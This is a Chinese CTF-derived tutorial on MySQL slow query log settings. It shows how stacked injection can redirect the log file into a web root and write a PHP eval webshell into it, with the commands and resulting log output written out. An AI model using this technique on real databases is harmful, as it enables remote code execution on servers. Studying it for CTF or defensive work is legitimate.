是从深育杯一道mysql注入知道的 使用示例 详细讲解
代码语言:javascript复制使用条件:
可以使用堆叠注入或slow_query_log开启(默认是关闭的)
slow_query_log为慢查询记录开关
slow_query_log_file是查询语句的记录文件地址
以上参数参数可以通过set语句直接设置(secure_file_priv就不行)
查询语句执行时间大于参数long_query_time的值(可以直接通过set语句修改,默认为10s)
log_output 参数是指定日志的存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。
#使用set global slow_query_log=1开启了慢查询日志只对当前数据库生效,MySQL重启后则会失效。如果要永久生效,就必须修改配置文件my.cnf(其它系统变量也是如此)
默认设置查询:
代码语言:javascript复制mysql> show variables like '%slow_query%';
--------------------- --------------------------------------
| Variable_name | Value |
--------------------- --------------------------------------
| slow_query_log | OFF |
| slow_query_log_file | /var/lib/mysql/34886294ca4d-slow.log |
--------------------- --------------------------------------
2 rows in set (0.00 sec)
mysql> show variables like 'log_queries_not_using_indexes';
------------------------------- -------
| Variable_name | Value |
------------------------------- -------
| log_queries_not_using_indexes | OFF |
------------------------------- -------
1 row in set (0.00 sec)
mysql> show variables like 'long_query_time';
----------------- -----------
| Variable_name | Value |
----------------- -----------
| long_query_time | 10.000000 |
----------------- -----------
1 row in set (0.00 sec)
mysql> show variables like 'log_output';
--------------- -------
| Variable_name | Value |
--------------- -------
| log_output | FILE |
--------------- -------
1 row in set (0.00 sec)
配置说明:
代码语言:javascript复制slow_query_log :是否开启慢查询日志,1表示开启,0表示关闭。
log-slow-queries :旧版(5.6以下版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log
slow-query-log-file:新版(5.6及以上版本)MySQL数据库慢查询日志存储路径。可以不设置该参数,系统则会默认给一个缺省的文件host_name-slow.log
long_query_time :慢查询阈值,当查询时间多于设定的阈值时,记录日志。
log_queries_not_using_indexes:未使用索引的查询也被记录到慢查询日志中(可选项)。
log_output:日志存储方式。log_output='FILE'表示将日志存入文件,默认值是'FILE'。log_output='TABLE'表示将日志存入数据库,这样日志信息就会被写入到mysql.slow_log表中。MySQL数据
库支持同时两种日志存储方式,配置的时候以逗号隔开即可,如:log_output='FILE,TABLE'。日志记录到系统的专用日志表中,要比记录到文件耗费更多的系统资源,因此对于需要启用慢查询日志,又需
要能够获得更高的系统性能,那么建议优先记录到文件
使用示例:
代码语言:javascript复制mysql> set global slow_query_log=1;
Query OK, 0 rows affected (0.00 sec)
mysql> set global slow_query_log_file='/var/www/html/shell.php';
Query OK, 0 rows affected (0.00 sec)
mysql> show variables like '%slow_query_log%';
--------------------- -------------------------
| Variable_name | Value |
--------------------- -------------------------
| slow_query_log | ON |
| slow_query_log_file | /var/www/html/shell.php |
--------------------- -------------------------
2 rows in set (0.00 sec)
mysql> select '<?php phpinfo();eval(REQUEST_[0]);?>'&sleep(11);
-----------------------------------------------------
| '<?php phpinfo();eval(REQUEST_[0]);?>' & sleep(11) |
-----------------------------------------------------
| 0 |
-----------------------------------------------------
1 row in set, 1 warning (11.00 sec)
mysql> system cat shell.php;
mysqld, Version: 5.6.51 (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
# Time: 211116 1:46:24
# User@Host: root[root] @ localhost [] Id: 3
# Query_time: 11.000200 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
use mysql;
SET timestamp=1637027184;
**select '<?php phpinfo();eval($REQUEST_[0]);?>' & sleep(11);**
注:使用set语句设置slow_query_log_file参数的时候需要设置为已经存在且具有对应权限的文件,否则会报错设置失败